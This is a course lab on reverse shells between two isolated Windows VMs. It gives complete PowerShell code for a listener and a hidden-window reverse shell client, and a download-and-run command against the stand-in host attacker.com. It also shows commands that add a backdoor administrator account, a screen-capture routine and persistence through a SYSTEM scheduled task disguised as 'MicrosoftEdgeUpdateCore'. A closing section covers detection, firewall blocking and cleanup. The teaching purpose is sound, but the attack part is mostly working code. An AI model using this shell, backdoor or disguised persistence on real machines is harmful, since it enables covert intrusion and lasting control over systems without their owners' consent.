Skip to main content

Lab 3.2: Reverse Shell and Remote Control

Learning Objectives​

By the end of this lab, you will be able to:

  • Understand the concept of a reverse shell
  • Establish a reverse shell connection between two machines
  • Execute commands remotely
  • Transfer files between machines
  • Identify and block reverse shells
  • Understand how malware communicates with its C&C server

Estimated Duration​

30 minutes

Prerequisites​

  • 2 Windows VMs (or 1 Windows + 1 Kali)
  • Configured VirtualBox internal network
  • PowerShell

Professional Context​

Reverse shells are used by:

  • Pentesters to test network security
  • Administrators for remote support
  • Malware for remote control (RAT)
  • APT to maintain long-term access

AUTHORIZED: On your test VMs only, isolated network
PROHIBITED: On unauthorized systems, unauthorized access
CONSEQUENCES: Serious crime - Prison and massive fines


Part 1: Lab Setup​

Step 1.1: Architecture​

VM1: Attacker
IP: 192.168.100.10
Port: 4444 (listening)

VM2: Victim
IP: 192.168.100.20
Connection to VM1

Step 1.2: Network Configuration​

On VM1 and VM2:

Settings → Network → Internal Network "LabNet"

PowerShell - IP Configuration:

# VM1
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.10 -PrefixLength 24

# VM2
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.20 -PrefixLength 24

Test:

ping 192.168.100.20

Part 2: PowerShell Method (Native)​

Step 2.1: VM1 - Listener​

On VM1 (Attacker), save listener.ps1:

Write-Host "=== REVERSE SHELL LISTENER ===" -ForegroundColor Cyan
Write-Host "Listening on port 4444..." -ForegroundColor Yellow

$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444)
$listener.Start()

$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()

Write-Host "CONNECTION RECEIVED!" -ForegroundColor Green
Write-Host "IP: $($client.Client.RemoteEndPoint)" -ForegroundColor Yellow
Write-Host ""

[byte[]]$bytes = 0..65535|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nPS " + (pwd).Path + "> ")
$stream.Write($sendbytes,0,$sendbytes.Length)
$stream.Flush()

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String)
} catch {
$sendback = "Error: $_`n"
}

$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}

$client.Close()
$listener.Stop()
Write-Host "Connection closed" -ForegroundColor Red

Execute:

powershell -ExecutionPolicy Bypass -File listener.ps1

Wait for connection...

Step 2.2: VM2 - Client (Victim)​

On VM2, save reverse.ps1:

$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444)
$stream = $client.GetStream()

[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)

try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
} catch {
$sendback = "Error: $_`n"
}

$sendback2 = $sendback
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}

$client.Close()

Execute:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1

Step 2.3: CONNECTION ESTABLISHED!​

On VM1, you now see:

=== REVERSE SHELL LISTENER ===
Listening on port 4444...
CONNECTION RECEIVED!
IP: 192.168.100.20:54321

PS C:\Users\Attacker>

Type commands:

whoami
hostname
Get-Process
Get-LocalUser
Get-ChildItem C:\Users
Get-NetTCPConnection
systeminfo

BOOM! Full control of VM2 from VM1!

Questions:

  1. Was the connection established?
  2. Can you execute PowerShell commands?
  3. How long did the establishment take?

Part 3: Advanced Actions​

Step 3.1: File Transfer​

Download a file from the victim:

# On VM1 (from the shell)
Get-Content C:\Users\Victim\Desktop\secret.txt

Create a file on the victim:

"You have been compromised!" | Out-File C:\Users\Public\pwned.txt

Download and execute a script:

Invoke-WebRequest -Uri "http://attacker.com/tool.ps1" -OutFile C:\temp\tool.ps1
. C:\temp\tool.ps1

Step 3.2: Create Backdoor User​

From the shell on VM2:

net user backdoor P@ssw0rd123! /add
net localgroup Administrators backdoor /add

You just created a permanent admin account!

Step 3.3: Remote Screenshot​

Capture the victim's screen:

Add-Type -AssemblyName System.Windows.Forms
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.Location, [System.Drawing.Point]::Empty, $screen.Size)
$bitmap.Save("C:\Users\Public\screenshot.png")

Result: Screenshot saved!

Questions: 4. Did you succeed in creating a user account? 5. Does the screenshot work?


Part 4: Persistence​

Step 4.1: Automatic Scheduled Task​

On VM2, create persistence:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\reverse.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest

Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
-Action $action -Trigger $trigger -Principal $principal

Test:

  1. Restart VM2
  2. VM1 launches listener
  3. Automatic connection!

Questions: 6. Does persistence work after reboot? 7. Is the task visible to a normal user?


Part 5: Detection and Defense​

Step 5.1: Detect Active Connections​

Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemoteAddress -ne "127.0.0.1"} | 
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,@{
Name="ProcessName"
Expression={(Get-Process -Id $_.OwningProcess).Name}
} | Format-Table

Suspect: powershell.exe with external connection!

Step 5.2: Block with Firewall​

New-NetFirewallRule -DisplayName "Block PowerShell Outbound" `
-Direction Outbound `
-Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" `
-Action Block

Step 5.3: Remove Persistence​

Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false
Get-Process powershell | Where-Object {$_.CommandLine -like "*reverse*"} | Stop-Process -Force

Questions: 8. Did you detect the reverse shell? 9. Does the firewall block work?


Deliverables​

  1. Technical Document (3-4 pages):

    • Answers to the 9 questions
    • Network architecture diagram
    • Screenshots of the active shell
  2. Security Analysis (2 pages):

    • Detection in enterprise
    • Prevention measures

Reference Commands​

# Listener (VM1)
powershell -ExecutionPolicy Bypass -File listener.ps1

# Client (VM2)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1

# Detection
Get-NetTCPConnection | Where State -eq "Established"
Get-Process powershell

# Blocking
New-NetFirewallRule -DisplayName "Block" -Direction Outbound -Program "powershell.exe" -Action Block

Conclusion​

Key Lessons:

  1. Reverse shell = Full remote control
  2. Easily bypasses firewall
  3. PowerShell = Very powerful
  4. Persistence = Permanent access
  5. Detection possible with network monitoring

Message: Outbound network monitoring essential in enterprise!


Lab developed as part of the Operating Systems course - MODULE 3